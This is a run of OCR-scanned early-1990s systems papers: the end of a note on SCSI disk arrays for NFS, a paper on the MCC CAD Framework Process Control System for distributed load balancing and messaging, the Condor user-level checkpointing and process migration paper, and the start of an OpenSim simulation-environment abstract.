• Disk array organization gives superior random UO rates and can deliver extreme transfer rates (20-40
MBts) with striping. Merchant-market SCSI disk-array controllers supporting this functionality can
be readily built because of the sophisticated, standard SCSI interface ASICs available. These
controllers have 5-10 SCSI channels per controller and are available from OEM vendors like NCR and
Array Technologies.

• SCSI disk arrays have exceptional scalability, capacity, and performance. In large part, this is because
oftheir built-in controllers and track buffering. But attractive pricing ofboth the SCSI disks and SCSI
interface components-induced by high-volume shipments-is key as well.

These are the reasons why SCSI is better than IPI for NFS.
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Abstract

The MCC Computer-Aided Design (CAD) Framework Process Control System (PCS) provides distributed
process control and communication services in heterogeneous network environments. The PCS also provides
network-wide load balancing via an efficient and flexible process placement mechanism. The PCS services enable
design tools and CAD framework components to leverage the resources of distributed computing networks, while
supporting various degrees of interaction through distributed, real-time communication.

1. Introduction

With the increasing popularity and availability of low-cost, high-performance engineering workstations,
today's CAD environments are being comprised of workstations with varying computing capabilities that are
distributed on local area networks. In addition, CAD frameworks are being employed which provide such services
as design data management and design methodology management to facilitate the integration of a variety of design
tools into a single environment.

While the existence of a network of workstations provides CAD organizations with greater aggregate computing
resources, conventional operating systems either do not support or only minimally support the distributed use of
those resources by design tools and framework components. The MCC CAD Framework PCS provides this support
through a substrate of services that facilitate the execution and inter-operation of design tools and framework
components in a distributed manner. Using the PCS process placement and control services, computing resources
can be more effectively utilized with respect to the resource requirements of individual users and design tools, which
can reduce tool run times and thus reduce design cycle times. The PCS communication services enable network­
wide tooVframework communication, which can be used to better coordinate the activities of design team members.

The following sections describe the PCS in detail. Section 2 describes the PCS network architecture. Sections 3,4,
and 5 describe the PCS network load balancing, process control, and process communication services, respectively.
Section 6 provides performance measurements, and section 7 discusses current applications and future work.
Finally, section 8 provides a summary.

2. pes Network Architecture

While some systems provide services which attempt to optimize the use ofnetwork resources via initial process
placement [1][2], only a few systems provide integrated process control and communication services [3][4].
Examples include the UCB Maitr'd system which illustrates the usefulness of distributing processes in a load­
balancing manner, and the PIE system from CMU which demonstrates the benefits of using distributed process
services in CAD applications.

To facilitate a more comprehensive use of distributed computing resources in CAD environments, the PCS
architecture has been designed to integrate process placement, control, and communication services into a single
system. These PCS services are accessible to client applications via a C-language procedural interface, the MCC
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CAD Framework extension language (Scheme), and by UNIXl shell commands. The PeS services are based upon
the Sun Open Network Computing (ONC)2 Remote Procedure Call (RPC) software [5] and functions provided by
UNIX, both of which have facilitated the porting of the PCS to a variety of workstation platforms.

The PeS services are realized by a network of PCS servers. A single PCS server resides on each network host, and
can provide services to any client application in the network. The PCS servers also communicate with each other,
as shown in Figure 1. The server operates as a privileged process, allowing it to manage multiple, concurrent
processes for multiple users. When creating a process for a client application, the PCS initializes the new process's
environment to that of the requesting process, and maIntains state information about the process while it is executing.
Each server also maintains a log file that can be used by system administrators to analyze PCS activity on a given
host. In addition, the PCS includes network management utilities for installing and monitoring the PCS servers.

Figure 1. PCS Network Architecture

3. Network Load Balancing

The PeS provides a process placement service that can be used to balance the process load across a
heterogeneous network of host machines. This service automatically selects a host for program execution in a
manner that seeks to optimize the utilization of each machine in the network while satisfying the resource
requirements of a given program. Such optimization improves the response time for executing processes, thereby
improving user productivity as well.

3.1. Approach

The PeS uses a decentralized approach to performing network load balancing. The PeS server on each host
functions in an autonomous manner, using process placement constraints, host loading, and network configuration
information to determine the suitability of executing a program on its own host or on another host in the network.
The aggregate effect of this approach is a close-to-optimal balance of host loads across the network [6], while
minimizing network traffic and scaling to larger networks than more centralized approaches [7].

3.2. Configuring the Network

The PCS server on each host obtains network configuration information from a common host table, which
resides in the network file system. The host table contains the name, maximum allowable load, and optional"
attributes for each host in the network, as shown in Figure 2. By default, all of these hosts are candidates to run a
given program. However, the set of candidate hosts for a particular program can be restricted to a subset of these

1. UNIX is a trademark of AT&T.
2 Open Network Computing and ONe are trademarks of Sun Microsystems, Inc.
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hosts by specifying one or more host attributes and/or a host qualification script for the program. Such restrictions
are useful for programs that can only run on licensed hosts, and for programs which require specialized computing
hardware. The PCS network configuration information can be dynamically updated without interrupting PCS
services.

sunbird 2.0 sun3 os4.1.1 plot-server

sunlamp 1.5 sun3 os4.1.1

maverick 2.0 sun4 os4.1.1 file-server

parousia 1.0 apollo os10.2

Figure 2. Network Host Table

3.3. Parameterized Protocols

In addition to the network configuration information provided in the host table, a client application can specify
to the process placement service one or more host attributes, a host load threshold, and/or a maximum number of
hosts to be considered for a given placement request. A client can vary these service parameters as per the resource
requirements of a given program, as well as to implement a variety of load balancing protocols. Upon selecting a
host, the service returns to the client the name of the selected host, the selected host's current load, and the number
of hosts actually examined. The client can then use this information to dynamically alter its load balancing protocol.

3.4. Theory of Operation

When a client application invokes the process placement service to select a host for a given program, an initial
candidate host is selected by the PCS server on the local host in a round-robin manner. The initial selection is based
upon the host attributes specified in the host table, as well as any client-specified attributes. If the PCS server on the
initially selected host determines that the host is suitable to execute the program, then that host is selected for the
client. This determination is based upon four criteria: 1) the current process load of the host must be less than the
maximum load specified for the host in the host table; 2) the current load must be less than the client-specified load
threshold (if any); 3) successful execution of the qualification script specified/or the host in the host table (if any);
4) successful execution of the host qualification script specified/or the program in the host table (if any). If the
initially selected host fails anyone of these criteria, the placement request is forwarded to the PeS server on the next
candidate host, which determines its suitability based upon the same criteria. Again, if the host is suitable to execute
the program, it is selected. The selected host's name, load, and the total number of hosts examined are returned to
the client. Otherwise, the placement request continues to be forwarded until either a host is selected or the total
number of candidate hosts have been examined, which is determined by the host attributes in the host table and the
client-specified maximum number of hosts (if any). If no host is selected, the host with the least load is returned to
the client, along with an error status. In addition, the PCS detects and bypasses off-line hosts during the request
forwarding process.

The combined effect of the initial round-robin host selection and the sequential forwarding of placement requests
ensures that hosts which are more likely to be lightly loaded will receive a request before hosts which are more likely
to be heavily loaded, as shown in Figure 3. In this example, the first selection request (rI) is initially sent to host-I,
which is selected. The second request (r2) is initially sent to host-2, forwarded to host-3, then forwarded to host-4
which is selected. The third request (r3) is initially sent to host-5, then forwarded to host-6 which is selected. The
fourth request (r4) is initially sent to host-I, which is selected again.
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Figure 3. Process Placement

4. Process Control Services

Rosenthal, Allen, Fiduk

The PCS process control services enable a client application to execute, signal, and query the status of both
batch and interactive programs on any host in the supported network. A client can use these services to control
existing, non-PCS-based programs as well as other PCS client applications.

4.1. Process Execution

When a client application requests the PCS to execute a program on a given host, the PCS server on that host
initiates a process, invokes the program, and returns to the client a process descriptor for the new process. The PCS
automatically establishes the new process's environment to be the same as that of the requesting application, which
enables the requestor to initialize environment variables for the program being invoked. The returned process
descriptor contains various information about the process, and serves as a handle to the process for subsequent PCS
service requests. If the client requests a communication link with the program, the process descriptor can be used to
communicate with the program via the PCS process communication services. When a PCS-executed program
terminates, the client which originated the execution request is notified that the program has terminated. This
notification contains information regarding the exit status and resource usage of the terminated process.

4.2. Process Signals and Status

Aclient application can use a process descriptor to signal a process. For example, a client can suspend, resume,
or terminate another process. A process descriptor can also be used to query the status of a process. The status
information includes the start time, elapsed run time, ron state, elapsed cpu time, and real memory size of the
process. The process signalling and status operations are performed by the PCS server on the host where the
specified process is executing, as shown in Figure 4. In this example, a client on host-4 signals a process on host-}
via the PCS server on host-I.
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Figure 4. Process Control

5. Process Communication Services

The PCS provides communication services for processes on any supported network host, enabling multiple
processes to cooperate in a distributed manner [8] while being isolated from the underlying transport mechanisms
of the network. Using these services, processes can asynchronously, and synchronously, communicate by sending
and receiving messages. The services enable a client application to communicate with other client applications as
well as with other (non-PCS-based) programs' standard I/O streams.

5.1. Message Types

Each PCS message has an associated message type, which enables processes to send and receive specific types
of messages. Client applications can define their own message types in addition to the set of types that are pre­
defined by the PCS services. A client can associate a translation function with a message type to translate messages
of the given type to/from a machine-independent formal This is useful for communicating complex messages
between machines which have dissimilar hardware architectures. The PCS message translation capability is based
upon the Sun ONC External Data Representation (XDR) software. By default, message types that do not have an
associated translation function are translated as generic bytes.

5.2. Message Transport

The PCS communication services transmit messages via the TCP/IP network protocol. This protocol provides
a reliable means of transmitting messages among a heterogeneous network of host machines. In addition, the PCS
implements a unique TCP connection caching scheme to maximize communication performance. When a PCS
connection is made between processes, both the source and destination processes each cache their end of the
connection. For processes which require a large number of connections, or require other I/O resources in addition to
PCS message connections, the PCS enforces a connection caching limit so as not to exceed the resource limits
imposed for a process by the host operating system. The caching limit can be initially specified and dynamically
altered by a process while it is running. When a process has met the caching limit and needs to cache another
connection, the PCS automatically un-caches the least recently used connection to allow the new connection to be
cached. The PCS also automatically detects when a cached connection has been broken, and un-caches the
connection. The PCS TCP connection caching scheme enables reliable, high-performance, robust communication
between processes.
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5.3. Message Delivery
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Messages are sent to a process in a non-blocking, interrupt-driven manner. When a message is delivered, the
receiving process is asynchronously interrupted while the message is read and buffered (queued) in the receiver's
address space. This allows the sending process to continue executing immediately after sending a message. The
receiving process can then obtain the message using a PCS service function. The receiver can restrict reception to a
particular message type and/or specify a time-out interval to wait for a message. A client application can also
associate an interrupt handler with a message type. When this type of message is delivered, the handler function is
invoked to process the message at the time of delivery.

A client application can optionally choose to receive messages in an event-driven manner. This mode allows the
application to manually detect incoming PCS messages (e.g. via the 'select' system call), rather than having
interrupt-driven message delivery.

Since a client application can receive messages from several sources, each message contains the process descriptor
of the sending process. This descriptor can be used to send a reply message to synchronize message communication.

5.4. Point-to-Point Communication

The process communication services support direct, point-to-point communication between processes
distributed on the networ~ using a process descriptor as a communication handle. A client application can obtain a
process descriptor for itself, its parent process, or for a process which it requested to be executed. This enables a
private mode of communication between tightly coupled processes, as shown in Figure 5. In this example, a client
on host-l communicates directly with a client on host-4.

Figure 5. Point-ta-Point Communication

The PCS also provides a process naming service that enables processes to register themselves by one or more names.
A client can use this service to obtain a process descriptor for a process that is registered by a known name, without
having started the process or knowing the physical location of the process in the network. When a process registers
with the PCS on a given host, the registration is propagated to each PCS server in the network. Replicating the
process registrations in this manner enables fast lookup of a registered name on behalf of a client. When a registered
process terminates, its registration is removed from the registration cache of each PCS server in the network. Also,
when a host is rebooted, the registration cache of the PCS server on that host is automatically initiated with the
current process registrations in the network.

When a client requests a descriptor for a registered process on a specific host, the request is sent to the PCS server
on that host to determine if a process is registered there by the given name. When a client makes the request without
specifying a host, the PCS server on the local host attempts to match the name with either a locally registered process
or an entry in the server's registration cache. If found, the process descriptor associated with the registered process
is validated and returned to the client. Olherwise, an error status is returned. Note that the PCS enforces unique name
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registrations on a give host, but not across the network. When multiple processes are registered by the same name
on different hosts, their process descriptors are returned in a round-robin manner.

The PCS process naming service provides location transparency support for public modes of communication, such
as communicating with a well-known server that is to be accessed by a variety ofclients or other servers. In addition,
such server processes can be registered without actually having been initiated by the PCS.

5.5. Message-Based RPC

The PCS communication services also provide a message-based RPC mechanism to support client-server
applications. A server process can associate a service function with a message type, as well as a translation function
for the service function arguments which are embodied as a message (as discussed in section 5.1). The server then
uses the PeS message dispatching service to automatically invoke the associated server function upon arrival of a
given message type, which also passes the message (arguments) to the function. Note that the message dispatching
function can be used as a server's top-level event loop, or can be integrated into a server's existing event loop. Once
invoked, the server function uses another PCS service to send the function results back to the calling (client) process.
The client process makes a single PeS call to initiate the RPC and wait for the results, specifying a process descriptor
for the server, a message type and arguments, an optional translation function for the results, and an optional time­
out value.

In addition, the PCS supports remote extension language (Scheme) evaluations when communicating with an MCC
CAD Framework Extension Language Engine (ELE) process. An extension language expression is sent to the ELE,
which evaluates the expression and returns the result via the underlying PCS message-based RPC mechanism. Note
that the ELE incorporates PCS message event handling into its top-level read-eval-print loop.

5.6. Multi-Cast Communication

In addition to point-to-point communication, the PCS services also support multi-cast communication between
distributed processes. Thfs mode of communication has proven to be valuable in both CAD and CASE environments
[9][10], as it enables loosely coupled processes to interact in a coordinated manner.

The PCS multi-cast communication occurs in a sink-based manner, whereby processes register their interest in
receiving particular messages via a message dispatcher. The dispatcher registers itself in the network via the PCS
process naming service, which is used by the PCS communication services to locate the dispatcher. When a client
triggers a multi-cast message, the message is automatically sent to the dispatcher, which relays the message to the
appropriate processes based upon their registered interests. The scope of message registrations can be limited to
user-specified domains to facilitate proper message dispatching in large, multi-user environments.

In addition, the dispatcher can be replicated on the network for increased reliability and availability. The number of
replicated dispatchers to run is specified when the initial dispatcher is booted. If more than one dispatcher is running,
message registration and dispatching activities are distributed among all of the dispatchers, which helps avoid
overloading a given dispatcher. If a replicated dispatcher's host goes off-line, a replacement dispatcher is
automatically started and initialized on another host. Also, any existing client connections to the defunct dispatcher
are automatically re-established with the new dispatcher.

Figure 6 shows an example of multi-cast communication. In this example, the clients on host-I, host-2, and host-4
communicate with each other via the (single) message dispatcher, which is located on host-2.
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Host-3

Figure 6. Multi-Cast Communication

5.7. Standard I/O Communication
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Aclient application can also use the PCS communication services to communicate with a process's standard II
o streams, which enables distributed, message-based communication with programs that do not use the PCS
services. This mode of communication occurs via a PeS agent process that is automatically initiated to relay
message data between a client application and a standard I/O-based process. The agent sends message data from the
client to the process's standard input stream, and captures data from the process's standard output and/or standard
error streams and sends it to the client, as shown in Figure 7. In this example, a client on host-4 communicates with
a standard I/O-based program on host-I via a PCS agent for the program on host-I. The agent process can also
redirect a process's standard output and/or standard error data to another process upon request.

Figure 7. Standard I/O Communication

6. Performance Measurements

The performance of the PeS services has been measured in several respects. including process placement,
initiation. and communication. The measurements were obtained using a' network of 25 Sun-3 and Sun-4
workstations3• without any attempt to control the network load or other environmental factors. The measurements
indicate that the pes performance is sufficient to support the distribution of, and communication among. design
tools and framework components in contemporary CAD environments.

3. Sun-3 and Sun-4 are trademarks of Sun Microsystems, Inc.
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The frrst measure characterizes PCS process placement and initiation. A process placement request was issued,
followed by a program execution request and a corresponding remote-shell (rsh) request to the selected host. This
allows the PCS services to be compared with rsh under approximately the same load conditions. After measuring
several sets of these requests, the average time to select a host and initiate a process by the PCS was substantially
less than the average time to initiate a process using rsh, as shown in Figure 8. Note that each process placement
request typically had to be forwarded only once to find a suitable host. These measurements show that the PCS
services can very efficiently distribute the execution of design tools in a distributed CAD environment so as to
maximize the use of computing resources in the environment.

Avg. Time Avg. Time
UsingPCS Using rsh
(seconds) (seconds)

Host
0.14 N/ASelection

Process
0.20 6.70Initiation

Figure 8. Process Placement and Initiation

The second measure characterizes the performance of the PCS communication services. 1000 messages were sent
asynchronously from one PCS client application to another (point-to-point) running on separate hosts, using various
message sizes for each test In this scenario, the average message transmission rate exceeded 500 messages per
second for smaller size messages, as shown in Figure 9.

Message Avg. Message
Size Transmission Rate
(bytes) (messages/second)

64 600

256 450

lK 270

4K 80

Figure 9. Process Communication

These measurements show that the PCS can support high-performance communication among design tools and
framework components, as well as communication within parallel processing applications.

7. Current Applications and Future Work

The PCS is currently being used by several CAD and CASE applications. including interactive and batch tools.
framework components, and network management utilities. One example application is an interactive VLSI design
editor that uses the PCS services to provide a message-based interface to a set of batch design synthesis tools.
Another application is the MCC CAD Framework Methodology Management System (MMS) [11]. This system
uses the PCS to distribute and control the execution ofCAD and CASE tools, and to capture output data from those
tools. In addition, the MMS uses the PCS services to facilitate communication among multi-user MMS
environments. A third application is the MCC CAD Framework Design Data Management System (DDMS), which
uses the PCS to provide a message-based client interface for design data management and Network File System
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(NFS) services.
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The PCS also provides the underlying technology for the MCC prototype implementation of the CAD Framework
Initiative (CFI) Inter-Tool Communication (ITe) application procedural interface. The CFI ITC interface is a
proposed standard means of communication among design tools and framework components in CAD computing
environments. The interface supports both point-to-point and multi-cast communication, including notifications
(asynchronous) and requests (synchronous), as well as process control operations.

Future PCS development will focus on making PeS services available on an enterprise-wide basis. This may be
accomplished by using a standard, global naming service (such as OSI X.500) to identify and access local PCS
networks that are geographically distributed within large enterprises. In addition, potential commercial products and
industry standards efforts (such as OSF DCE [12] and ISO ODP [13], respectively) will continue to be monitored to
determine their impact on distributed systems technology.

8. Summary

A process placement, control, and communication system has been described that enables applications to
operate and interact in a distributed, heterogeneous network environment The Process Control System (PCS) is one
component of the MCC CAD Framework, and is used by design tools and other framework components to
efficiently utilize distributed computing resources and to inter-operate through real-time, message-based
communication.
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Abstract

We have implemented both checkpointing and migration of processes under UNIX as a part of the Condor
package. Checkpointing, remote execution, and process migration are different, but closely related ideas; the rela­
tionship between these ideas is explored. A unique feature of the Condor implementation of these items is that they
are accomplished entirely at user level. Costs and benefits of implementing these features without kernel support
are presented. Portability issues, and the mechanisms we have devised to deal with these issues, are discussed in
concrete terms. The limitations of our implementation, and possible avenues to relieve some of these limitations,
are presented.

1. Introduction

Condor is a software package for executing long-running, computation-intensive jobs on workstations which
would otherwise be idle. Idle workstations are located and allocated to users automatically. Condor preserves a
large measure of the originating machine's execution environment on the execution machine, even if the originating
and execution machines do not share a common file system. Condor jobs are automatically checkpointed and
migrated between workstations as needed to ensure eventual completion. This paper describes the checkpointing
and remote execution mechanisms.

The Condor package as a whole has been documented elsewhere [1,2,3]. This paper focuses on the actual
mechanisms for remote execution and process migration, limitations on migrating processes without kernel support,
portability issues, and the evolution of our implementation of these mechanisms.

In contrast to the process migration mechanisms offered by such systems as the V-system[4], Sprite[5], and
Charlotte[6], Condor supports remote execution and process migration on a variety of UNIX® platforms, and is
implemented completely outside the kernel. Because it requires no changes to the operating system, Condor is port­
able and can be used in environments where access to the internals of the system is not possible. Condor does pay a
price for this flexibility in both the speed and completeness of its process migration.

The combination of remote execution and checkpointing means that a process may migrate among processors
during its lifetime, and thus must see the same file system view wherever it is run. "In kernel" process migration
systems such as Sprite and Charlotte were designed for environments that ensure such uniformity. While careful
administration of NFS® or AFS@, can ensure a homogeneous environment, heterogeneous environments are com­
mon, and requiring a uniform name space would severely limit the scope of Condor's usefulness. Therefore Condor
uses a technique called "remote system calls" in which requests for file-system access are trapped and forwarded to
a "shadow" process on the submitting machine.

Several systems have been implemented which offer process migration, but not checkpointing. Offering both
mechanisms in combination has two advantages. First, jobs are immune to machine or network crashes. Because
Condor jobs aren't killed by these events, users can submit large batches of jobs, and then go on to other work, (or

Authors' address: Computer Sciences DepaJ1ment, 1210 W. Dayton SL, Madison, WI 53706; mike@cs.wisc.edu, solomon@cs.wisc.edu.
~ UNIX is a registered trademark of AT&T Bell Laboratories
~ NFS is a registered trademark of Sun Microsystems.
~ AFS is a registered trademark of Transare Corporation.

USENIX - Winter '92 283



Supporting Checkpointing and m Litzkow, Solomon

leave for the weekend), without worrying about all their jobs being aborted by a sudden power outage or other
disaster. Second, checkpointing allows a job to remain idle during periods when all workstations are busy with
interactive work. In UNIX, a process, even if stopped, consumes resources (snch as swap space). Because the most
important benefit of having a workstation is immediate response, our policy is to ensure absolute priority for interac­
tive use.

2. Remote System Calls

To understand Condor's remote system calls, one must first consider nonnal UNIX system calls. Every
UNIX program, whether or not written in the C language, is linked with the "C" library. This library provides a
large number of functions, including the standard I/O library (traditionally described in section 3 of the manual), as
well as interfaces to the kernel facilities described in section 2. These latter functions are generally implemented as
"stubs," which push their arguments and a "call number" identifying the facility onto the user stack, and execute a
machine-defined supervisor call instruction. In some newer implementations, the mechanism is a bit different, but
the general idea is the same; each system call has a corresponding function in the C library which comprises a very
thin layer between the user code and the system. Figure 1 illustrates the nonnal UNIX system call mechanism.

Figure 2 shows how 'we have altered the system call mechanism by providing a special version of the C
library which performs system calls remotely. This library, like the normal C library, has a stub for each UNIX sys­
tem call. These stubs either execute a request locally by mimicking the normal stubs or package it into a message
which is sent to the shadow process. The shadow executes the system calion the initiating machine, packages the
results, and sends them back to the stub. The stub then returns to the application program in exactly the same way
the normal system call stub would have, had the call been done locally. The shadow runs with the same user and
group ids, and in the same directory as the user process would have had it been executing on the submitting
machine. This scheme ensures a unifonn view of the file system, as well as avoiding certain security problems.

3. Checkpointing

Ideally, checkpointing and restarting a process means storing the process state and later restoring it in such a
way that the process can continue where it left off. In other words, as far as the user code is concerned, the check­
point never happened. In the most general case, the state of a UNIX process may include pieces of information
which are known only to the kernel, or which may not be possible to recreate. For example if a process is commun­
icating with other processes at the time of the checkpoint, and those processes are no longer extant at the time of the
restoration, that part of the state cannot be reproduced. While some UNIX processes include state which cannot be
saved and restored, there are a large number of jobs whose state is simple enough that they can be checkpointcd and
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Figure 2. Remote System Calls

restarted without hann to their original mission. In the Condor project we have concentrated on providing practical
means for remote execution. checkpointing, and migration of such jobs.

The state of a UNIX process includes the contents of memory (the text, data. and stack segments), processor
registers, and the status of open files. Restoring the text segment is easy since it does not change and is available as
part of the original executable file. Our approaches to saving and restoring each of the other items have changed
over the years, mainly in response to portability issues. In the earliest versions of Condor, the data and stack were
saved by writing them directly into a file, and the register contents were saved by architecture-specific assembler
routines. Each time we ported Condor to a new hardware platform or a different version of UNIX we were "bitten"
by some part of the checkpointing mechanism which was either very difficult or impossible to port. Thus we gradu­
ally changed our methods to rely on basic UNIX mechanisms rather than on specific implementations. In other
words, we use standard mechanisms that have already been ported by the provider of the kernel and C library.

Our current approach is to create a new checkpoint file from pieces of the previous checkpoint and a core
image. The checkpoint is itself a UNIX executable file (Ua.out"). While core files are generally intended to aid in
debugging a process which has committed an error, such as attempting an illegal memory access, they also serve as
a portable mechanism for saving the state of a process at a given point in time. Not surprisingly, the information
needed to debug a process and the information needed to restart it are almost exactly the same. The text for the new
executable is of course an exact copy of the text from the original. The data area is copied directly from the core
file to the initialized data area of the new executable file. The saved stack area is also copied into the new execut­
able in a section which is not normally used by the UNIX process initialization mechanism. Restoring some of the
other items in the new instantiation of the process is trickier. For example, although volatile state (such as register
contents and the program counter) is recorded in the core image. restoring it directly would require machine­
dependent assembler routines. Instead. we use the Unix signal-handling machinery and the setjmp/longjmp facili­
ties in the C library.

Figures 3 through 7 illustrate various steps in checkpointing and restoring a typical UNIX process. Figure 3
depicts the virtual address space of an application program that has been linked with the Condor versions of the C
library and startup routine. Routines written by the application programmer as well as those provided by the condor
version of the C library co-exist at various locations in the Text segment. The data area consists of both the initial­
ized and uninitialized data from the original executable as well as any data space allocated at run time. e.g. by the
sbrk system call. The stack area consists of the per-process kernel data. (the u u_area''. followed by stack frames
for each function in the currently active execution stack. Since Condor must do its own initialization before any of
the the user's code is called. the first frame on the stack is for the Condor routine MAIN. MAIN calls the user's
main with the correct argc, argv, and envp.
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The initialization code in MAIN establishes a signal handler for the SIGTSTP signal, which is used to
inform a Condor job that it should checkpoint itself. Information about all files which the process currently has
open is kept in a table by the Condor version of the open system call routine. The TSTP handler updates this
information with the current file pointer location for each file using the lseek system call and uses the C library's
set jrnp call to record its state (including the program counter) in a buffer. Finally the handler sends itself a
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SIGQUIT signal to cause a core-dump and terminate. Figure 4 depicts the state of the process just before the
SIGQUIT is received.

Figure 5 depicts the new checkpoint file being created from pieces of the previous checkpoint file and the core
file. The data and stack areas come from the core file, while the text comes from the previous checkpoint file. The
'lother info" referred to is generally symbol table infonnation, which may be preserved for the benefit of debuggers.
Before a Condor process is executed for the first time, its executable file is modified to look exactly like a check­
point file with a zero size stack area, so that every checkpoint is done the same way.

When the new process starts, UNIX will initialize it with the data saved in the executable file, thus the process
is born with the data area already restored. Besides the data needed by the user code, the data area contains the
jump buffer and the open file table which were saved by the TSTP handler in the previous execution. UNIX will
initialize the process with a minimal stack, which must be replaced by the stack information saved in the checkpoint
file. The code that restores the stack needs a special stack of its own so that it doesn't interfere with the "real" stack
being restored. To move its stack pointer into the data segment, it establishes a handler for the SIGUSR2 signal
with a "signal stack" in the data segment, and then sends itself that signal. The USR2 handler uses the values stored
in the file table to reopen all files which were open at the time of the checkpoint, and seek them to their correct
offsets. Figure 6 shows the state of the process just before the stack is overwritten with the saved stack information.

After the stack is restored, the USR2 handler calls longjmp with the state saved by the set jmp in the
TSTP handler of the original process. The stack pointer and program counter are restored to their values as of the
setjmp call, and the SIGTSTP handler simply returns, restoring other volatile state (such as processor registers)
as it was before the SIGTSTP signal. Figure 7 shows the state of the process after the longjrnp, and just before
the TSTP handler returns.

Condor uses inherently portable mechanisms to restore a process's stack and registers from their checkpointed
values, and does not resort to any assembler code whatsoever. Since individual write calls are not traced, the file
recovery scheme requires that all file updates be idempotent (repeating operations does no harm). For typical UNIX
file usage, this restriction seems not be much of a problem.
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4. Network File Systems

The remote system call scheme described above assures correct operation in inhomogeneous file-naming
environments. If, however, a network file system such as NFS is in use, an important optimization is possible. For
example, consider the common situation in which a single file server serves an entire local-area network. Each I/O
request is forwarded from the "worker" machine to the shadow, which then accesses the file over the network using
NFS. If the stub executed the I/O request directly, the results would be the same, but one network round-trip would
be avoided. The situation is even worse if the file is physically located on the worker machine: Two network
round-trips are used when none are needed. To improve ~e performance in these cases, Condor incorporates a
mechanism to avoid the use of remote system calls when a file is more directly accessible. At the time of an open
request, the stub sends a name translation request to the submitting machine. The shadow process responds with a
ttanslated pathname in the form of hostname:pathname, where the hostname may refer to a file server, and the path­
name is the name by which the file is known on the server (which may be different from the pathname on the sub­
mitting machine, because of mount points and symbolic links). The stub then examines the mount table on the
machine where it is executing, and if possible accesses the file without using the shadow process. Whenever a pro­
cess is checkpointed and restarted on another machine, the name translation process is repeated, since access to
remotely mounted files may vary among the execution machines. Figure 8 illustrates an example where the path­
names of the target file on the initiating and executing machines are different The open routine sends a request to
the shadow for a translation of the pathname "/u2/john", and the shadow responds with the external name
"fileserver:/staff/john". The open routine then translates the external name to the name by which the file is known
on the executing machine, namely "/usrI/john", and opens the file using normal system calls, e.g. via NFS.

s. Limitations

. Condor has been found to be an extremely useful tool for a particular class of application: A single-process,
computation-intensive, long-running job. Other kinds of application are currently hindered by Condor's limitations,
some of which could be relatively easily lifted (and probably will be in future releases), and others of which appear
to be inherent. Condor currently does not support applications that use signals, timers, memory-mapped files, or
shared libraries. We expect some of these restrictions will be relaxed in future versions of Condor. The most pain­
ful1imitation is that Condor does not support any sort of inter-process communication. Aside from the well-known
difficulty of achieving a consistent snapshot of a multi-process program, there is the problem of hidden state in the
form of messages inside pipes. Implementing multi-process Condor jobs would also greatly complicate the Condor
scheduling algorithm (which is beyond the scope of this paper).
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The high cost of process migration limits the usefulness of Condor for small jobs. Process migration involves
many steps: First the process causes a core dump. The core file and executable module are combined to produce a
new executable, which is returned to the submitting machine, where it resides until a new execution site becomes
available. The executable is then transferred over the network, and execution resumes. Transferring a Condor job
with a 6 megabyte address space between two DECstation 3100's on an Ethernet we obtained rates of about 250K
Bps (bytes/sec) for dumping core, 130K Bps for updating the checkpoint file, 250K Bps for transferring the new
checkpoint file from the execution site to the originating machine, and 250K Bps for transferring the new check­
point file from the originating machine to a new execution site. Altogether, it takes about two minutes to migrate
such a process. In practice the job must wait on the originating machine until the scheduler can locate a new execu­
tion site, and the scheduler only runs once every 10 minutes.

There are however some significant benefits to an implementation which does not depend on access to the
kernel code. Most obvious of these is the portability which may be obtained. Condor currently runs on ten different
hardware/software platforms: the IBM R6000 running AIX, the IBM RT/PC running AOS, Sun 3 and Sun 4 works­
tations running SunGS, the Silicon Graphics 4D workstation running IRIX, the Hewlett-Packard 9000 under 4.3
BSD UNIX, the Digital Equipment DECstation and VAXstation running Ultrix, and the Sequent Symmetry running
Dynix. A related but somewhat different issue is availability in the real world. If our process migration and check­
pointing facilities were embedded in an operating system, then it is unlikely many others would run that system even
if it were ported to their hardware and freely available. If Condor required a homogeneous server-based file
environment, many sites would not be able to use it As it is, Condor is available via anonymous ftp (contact the
first author for details) and is running at many sites throughout the United States and Europe.

6. Future Work

Work with Condor is ongoing at Wisconsin. We are particularly interested in moving Condor to larger groups
of machines, including groups which are connected by wide-area rather than local-area networks. We are also
interested in integrating constrained forms of inter process communication with Condor such as Linda[7]. The three
areas of continuing effort relating to the mechanisms described here are efficiency, functionality, and portability.
With regard to efficiency, many methods are possible for saving, migrating, and restoring the necessary pieces of a
UNIX process. In some circumstances, we could transfer processes directly between execution sites rather than
always sending a checkpoint file back to the originating site. We could use data compression to reduce the volume
of data transferred and stored. We could read the stack and data directly from a core file into a new instantiation of
a process rather than converting the core file to an executable module.

In the area of functionality, the most often requested item is support for signals. This feature is non-trivial,
because much of the information regarding user defined signal handlers, the handling of signals on special stacks,
the blocking and unblocking of signals, and so forth is maintained by the kernel in ways which vary among UNIX
implementations. Nonetheless, a restricted form of signal facility could probably be provided that would
significantly increase the number of applications supported. Unfortunately both optimizations and more general
UNIX semantics work against portability. It is often easy to find a solution to one of the optimization or functional­
ity problems which works on some platforms, but not others.

7. Conclusions

Condor has accomplished checkpointing and process migration on "vanilla" UNIX systems. Both facilities
are generally only implemented inside an operating system, if at all. Although this design decision incurs a cost,
both in efficiency and generality of application programs supported, it makes Condor available to far wider user
community,
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ABSTRACT
This paper presents the design, implementation, and usage of OpenSim. OpenSim provides

new tools and integrates existing tools into an environment in order to establish a comprehensive
facility for performing simulation work. First, OpenSim provides a graphical user interface to
users for creating input files for simulations and managing output files produced from simulations.
Second, tools are provided to help a user easily generate plots from sets of output files assocated
with a simulation project. Third, OpenSim addresses a common problem for many simulation
users, namely, lack of computing capacity to serve the jobs. In order to solve this problem,
OpenSim integrates Condor, an existing system that clusters idle workstations into a processor
bank, into its environment so that users have access to a large amount of computing capacity
without interfering with the local usage of workstations by their owners. Finally, since users
often plan their schedules according to the deadlines required for their jobs, OpenSim enhances
Condor so that users can request jobs to be scheduled within a deadline. Therefore, a user can
expect that the amount of computing capacity required for a simulation project will be available
before a specified deadline.

1 Introduction

Simulation is a powerful tool for analyzing the performance and characteristics of system models. A
system model is analyzed by evaluating the sensitivity of the model to several parameters, which leads to the
execution of many simulation jobs. Plots, bar charts, and other figures are generated from the output files
produced by simulation jobs. A significant amount of time is spent by a system modeler for the management
of input and output files. Each system modeler follows his/her own strategy for keeping account of simulation
program executions, their corresponding input and output files, and the figures that have been generated.
As results are analyzed and new. data points are considered for simulation, the system modeler must know
whether a data point has already been generated, or if new simulation runs must be executed. Several
versions of a simulation program may exist, so the system modeler must manage the input and output files
with each version of the simulation program. The collection of versions of the simulation programs, input and
